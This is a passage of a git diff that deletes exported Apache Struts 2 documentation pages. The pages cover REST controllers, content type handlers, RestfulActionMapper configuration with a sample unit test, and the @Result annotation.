-</div></div><h3 id="RESTPlugin-WriteYourControllerActions">Write Your Controller Actions</h3><p>Once everything is configured, you need to create the controllers. Controllers are simply actions created with the purpose of handling requests for a give RESTful resource. As we saw in the mapping logic above, various REST URL's will hit different methods on the controller. Traditionally, normal Struts 2 actions expose the <code>execute</code> method as their target method. Here's a sample co [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package org.apache.struts2.rest.example;
-
-public class OrdersController implements ModelDriven&lt;Order&gt; {
-
-    private OrderManager orderManager;
-    private String id;
-    private Order model;
-
-    // Handles /orders/{id} GET requests
-    public HttpHeaders show() {
-        model = orderManager.findOrder(id);
-        return new DefaultHttpHeaders("show")
-            .withETag(model.getUniqueStamp())
-            .lastModified(model.getLastModified());
-    }
-
-    // Handles /orders/{id} PUT requests
-    public String update() {
-        orderManager.updateOrder(model);
-        return "update";
-    }
-
-    // getters and setters
-}
-</pre>
-</div></div><p>In this example, the <code>ModelDriven</code> interface is used to ensure that only my model, the Order object in this case, is returned to the client, otherwise, the whole <code>OrdersController</code> object would be serialized.</p><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Where's ActionSup [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;bean name="yaml" type="org.apache.struts2.rest.handler.ContentTypeHandler" class="com.mycompany.MyYamlContentHandler" /&gt;
-</pre>
-</div></div><p>If the built-in content type handlers don't do what you need, you can override the handling of any extension by providing an alternate handler. First, define your own <code>ContentTypeHandler</code> and declare with its own alias. For example:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;bean name="myXml" type="org.apache.struts2.rest.handler.ContentTypeHandler" class="com.mycompany.MyXmlContentHandler" /&gt;
-</pre>
-</div></div><p>Then, tell the REST Plugin to override the handler for the desired extension with yours. In <code>struts.properties</code>, it would look like this:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">struts.rest.handlerOverride.xml=myXml
-</pre>
-</div></div><h3 id="RESTPlugin-UseJacksonframeworkasJSONContentTypeHandler">Use Jackson framework as JSON ContentTypeHandler</h3><p>The default JSON Content Handler is build on top of the <a shape="rect" class="external-link" href="http://json-lib.sourceforge.net/" rel="nofollow">JSON-lib</a>. If you prefer to use the <a shape="rect" class="external-link" href="http://jackson.codehaus.org/" rel="nofollow">Jackson framework</a> for JSON serialisation, you can configure the JacksonLibHandl [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-    &lt;groupId&gt;org.codehaus.jackson&lt;/groupId&gt;
-    &lt;artifactId&gt;jackson-jaxrs&lt;/artifactId&gt;
-    &lt;version&gt;1.9.13&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>Now you can overwrite the Content Handler with the Jackson Content Handler in the struts.xml:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;bean type="org.apache.struts2.rest.handler.ContentTypeHandler" name="jackson" class="org.apache.struts2.rest.handler.JacksonLibHandler"/&gt;
-&lt;constant name="struts.rest.handlerOverride.json" value="jackson"/&gt;
-
-&lt;!-- Set to false if the json content can be returned for any kind of http method --&gt;
-&lt;constant name="struts.rest.content.restrictToGET" value="false"/&gt; 
-
-&lt;!-- Set encoding to UTF-8, default is ISO-8859-1 --&gt;
-&lt;constant name="struts.i18n.encoding" value="UTF-8"/&gt; 
-
-</pre>
-</div></div><p>&#160;</p><h3 id="RESTPlugin-Settings">Settings</h3><p>The following settings can be customized. See the <a shape="rect" class="external-link" href="http://cwiki.apache.org/confluence/display/WW/Configuration+Files">developer guide</a>.<br clear="none"> For more configuration options see the <a shape="rect" href="convention-plugin.html">Convention Plugin Documentation</a></p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/restfulactionmapper.html b/content/docs/restfulactionmapper.html
deleted file mode 100644
index a30ff01..0000000
--- a/content/docs/restfulactionmapper.html
+++ /dev/null
@@ -1,301 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>RestfulActionMapper</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="actionmapper.html">ActionMapper</a>&nbsp;&gt;&nbsp;<a href="restfulactionmapper.html">RestfulActionMapper</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">RestfulActionMapper</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=33965">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=33965">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=33965">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=33965">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=33965">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=33965">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="RestfulActionMapper-RestfulActionMapper">RestfulActionMapper</h2>
-
-<p>A custom action mapper using the following format:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>http://HOST/ACTION_NAME/PARAM_NAME1/PARAM_VALUE1/PARAM_NAME2/PARAM_VALUE2</pre>
-</div></div>
-
-<p>You can have as many parameters you'd like to use. Alternatively the URL can be shortened to the following:</p>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>http://HOST/ACTION_NAME/PARAM_VALUE1/PARAM_NAME2/PARAM_VALUE2</pre>
-</div></div>
-
-<p>This is the same as:</p>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>http://HOST/ACTION_NAME/ACTION_NAME + "Id"/PARAM_VALUE1/PARAM_NAME2/PARAM_VALUE2</pre>
-</div></div>
-
-<p>Suppose for example we would like to display some articles by id at using the following URL sheme:</p>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>http://HOST/article/Id</pre>
-</div></div>
-
-<p>Your action just needs a setArticleId() method, and requests such as /article/1, /article/2, etc will all map to that URL pattern.</p>
-
-<h2 id="RestfulActionMapper-Restful2ActionMapper">Restful2ActionMapper</h2>
-
-<p>Improved restful action mapper that adds several ReST-style improvements to action mapping, but supports fully-customized URL's via XML. The two primary REST enhancements are:</p>
-<ul><li>If the method is not specified (via '!' or 'method:' prefix), the method is "guessed" at using ReST-style conventions that examine the URL and the HTTP method.</li><li>Parameters are extracted from the action name, if parameter name/value pairs are specified using PARAM_NAME/PARAM_VALUE syntax.</li></ul>
-
-
-<p>These two improvements allow a GET request for 'category/action/movie/Thrillers' to be mapped to the action name 'movie' with an id of 'Thrillers' with an extra parameter named 'category' with a value of 'action'.  A single action mapping can then handle all CRUD operations using wildcards, e.g.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="movie/*" className="app.MovieAction"&gt;
-    &lt;param name="id"&gt;{1}&lt;/param&gt;
-    ...
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>This mapper supports the following parameters:</p>
-<ul><li><em>struts.mapper.idParameterName</em> - if set, this value will be the name of the parameter under which the id is stored.  The id will then be removed from the action name.  This allows restful actions to not require wildcards.</li></ul>
-
-
-<p>The following URL's will invoke its methods:</p>
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Request                    </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p>method called</p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> GET: /movie/               </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>method="index" </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> GET: /movie/Thrillers      < [...]
-
-
-<p>To simulate the HTTP methods PUT and DELETE, since they aren't supported by HTML, the HTTP parameter "__http_method" will be used.</p>
-
-<p>The syntax and design for this feature was inspired by the REST support in Ruby on Rails. See <a shape="rect" class="external-link" href="http://ryandaigle.com/articles/2006/08/01/whats-new-in-edge-rails-simply-restful-support-and-how-to-use-it" rel="nofollow">Simple RESTful support</a></p>
-
-<h3 id="RestfulActionMapper-Example">Example</h3>
-<p>To use the Restful2ActionMapper in an existing struts application we have to change the strus.mapper.class constant and let it point to the Restful2ActionMapper</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.mapper.class" value="org.apache.struts2.dispatcher.mapper.Restful2ActionMapper" /&gt;
-</pre>
-</div></div>
-
-<p>The problem with the above approach is that we may break existing actions because the Restful2ActionMapper tries to guess the method name using conventions that aren't applicable to normal action classes.</p>
-
-<p>To overcome the above problem, we have to use a different action mapper depending on the url we want to process. REST actions will be processed by the Restful2ActionMapper and non-REST actions by the DefaultActionMapper</p>
-
-<p>To achieve that we have to rely on namespaces and the PrefixBasedActionMapper that can choose which action mapper to use for a particular url based on a prefix (the action namespace).</p>
-
-<p>To put everything together, we create a package for our rest actions</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="rest" namespace="/rest" extends="struts-default"&gt;
-    ....interceptor config
-    &lt;action name="movie/*" class="app.MovieAction"&gt;
-        &lt;param name="id"&gt;{1}&lt;/param&gt;
-        ....results
-    &lt;/action&gt;
-    ....
-&lt;/package&gt;
-</pre>
-</div></div>
-
-<p>All other actions remain in their existing packages and namespaces we use the PrefixBasedActionMapper telling it to use the Restful2ActionMapper for actions in the /rest namespace and the DefaultActionMapper for all other actions</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.mapper.class" value="org.apache.struts2.dispatcher.mapper.PrefixBasedActionMapper" /&gt;
-&lt;constant name="struts.mapper.prefixMapping" value="/rest:restful2,:struts" /&gt;
-</pre>
-</div></div>
-
-<p>For the Restful2ActionMapper to work we also have to set</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.enable.SlashesInActionNames" value="true" /&gt;
-&lt;constant name="struts.mapper.alwaysSelectFullNamespace" value="false" /&gt;
-</pre>
-</div></div>
-
-<h3 id="RestfulActionMapper-Unittesting">Unit testing</h3>
-
-<p>Below you will find a simple unit test to test how to test actions when <code>Restful2ActionMapper</code> is used.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MovieActionTest extends StrutsJUnit4TestCase&lt;MovieActionTest&gt;{
-    
-    @Before
-    public void setUp() throws Exception {
-        //assumes Basic authentication
-        super.setUp();
-        String credentials = "username:password";
-        request.addHeader("authorization", "BASIC " + Base64.encodeBase64String(credentials.getBytes()));
-    }
-        
-    @Test
-    public void testIndex() throws Exception {
-        request.setMethod("get"); //Http method should be set
-        
-        ActionProxy proxy = getActionProxy("/rest/movie/");                        
-      
-        proxy.setExecuteResult(false);
-        String result = proxy.execute();
-        
-       //assertions ...        
-    }
-    
-    @Test
-    public void testView() throws Exception {
-        request.setMethod("get"); //Http method should be set
-              
-        ActionProxy proxy = getActionProxy("/rest/movie/1");                        
-        MovieAction movieAction = MovieAction.class.cast(proxy.getAction());
-           
-        proxy.setExecuteResult(false);
-        
-        String result = proxy.execute();
-        //assertions ...
-        assertEquals("1", movieAction.getId());         
-    }
-}
-</pre>
-</div></div>
-
-<p>Thanks to Antonios Gkogkakis for the examples!</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/result-annotation.html b/content/docs/result-annotation.html
deleted file mode 100644
index 2eb38fa..0000000
--- a/content/docs/result-annotation.html
+++ /dev/null
@@ -1,181 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Result Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="result-annotation.html">Result Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Result Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=43811">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=43811">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=43811">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=43811">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=43811">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=43811">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The <code>@Result</code> annotation allows the definition of <code>Action</code> results in the <code>Action</code> class rather than an XML file.</p>
-
-<rich-text-body>
-<p>The <code>@Result</code> annotation lives at the <code>Action</code> <em>class</em> level and not the method level. This matches what is found in an XML-based <code>Action</code> configuration. <strong>Do not be tempted to annotate your <code>Action</code>'s methods; it will not work.</strong></p></rich-text-body>
-
-<p>In order for <code>@Result</code> and <code>@Results</code> annotations to be configured correctly you must set the <code>actionPackages</code> filter <code>init-param</code> to a comma-separated list of packages containing the annotated <code>Action</code> classes. See <a shape="rect" href="zero-configuration.html">Zero Configuration</a> for further information; there are <code>Action</code> class naming conventions if you don't implement the <code>Action</code> interface and other t [...]
-
-<h2 id="ResultAnnotation-@ResultAnnotationParameters"><code>@Result</code> Annotation Parameters</h2>
-
-<plain-text-body>{float:right|width=300px}
-  {info}
-    See org.apache.struts2.config.Result annotation JavaDocs.
-  {info}
-{float}</plain-text-body>
-
-<ul><li>name - Result name; default <code>Action.SUCCESS</code></li><li>value - Value of result (result destination)</li><li>type - Type of result; default <code>NullResult</code>. For example:
-	<ul><li><code>NullResult.class</code></li><li><code>FreemarkerResult.class</code></li><li><code>PlainTextResult.class</code></li><li><code>VelocityResult.class</code></li><li><code>ServletDispatcherResult.class</code></li><li><code>ServletRedirectResult.class</code></li><li><code>ServletActionRedirectResult.class</code> - equivalent to the <code>redirectAction</code> type in XML config</li><li><code>TilesResult.class</code></li><li>.. (for more result, please consult the API docs, and l [...]
-	</li><li>params - An Array of the parameters in the form {key1, value1, key2, value2}</li></ul>
-
-
-<h2 id="ResultAnnotation-@Result&#8211;DefiningaSingleResult"><code>@Result</code> &#8211; Defining a Single Result</h2>
-
-<p>Map the "success" result (explicitly named) to a Tile definition named "/home.page".</p>
-
-<parameter ac:name="title">Defining a Single Result</parameter><plain-text-body>
-@Result(name="success", value="/home.page", type=TilesResult.class)
-public class HomeAction extends ActionSupport {
-    // ...
-}
-</plain-text-body>
-
-<h2 id="ResultAnnotation-@Results&#8211;DefiningMultipleResults"><code>@Results</code> &#8211; Defining Multiple Results</h2>
-
-<p>Defines a set of results for an <code>Action</code>.</p>
-
-<parameter ac:name="title">Defining Multiple Results</parameter><plain-text-body>
-@Results({
-    @Result(name="success", value="/home.page", type=TilesResult.class),
-    @Result(name="homeError", value="/homeError.page", type=TilesResult.class)
-})
-public class HomeAction extends ActionSupport {
-    // ....
-}
-</plain-text-body></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/result-configuration.html b/content/docs/result-configuration.html
deleted file mode 100644
index 2fce384..0000000
--- a/content/docs/result-configuration.html
+++ /dev/null
@@ -1,231 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Result Configuration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-elements.html">Configuration Elements</a>&nbsp;&gt;&nbsp;<a href="result-configuration.html">Result Configuration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Result Configuration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14118">
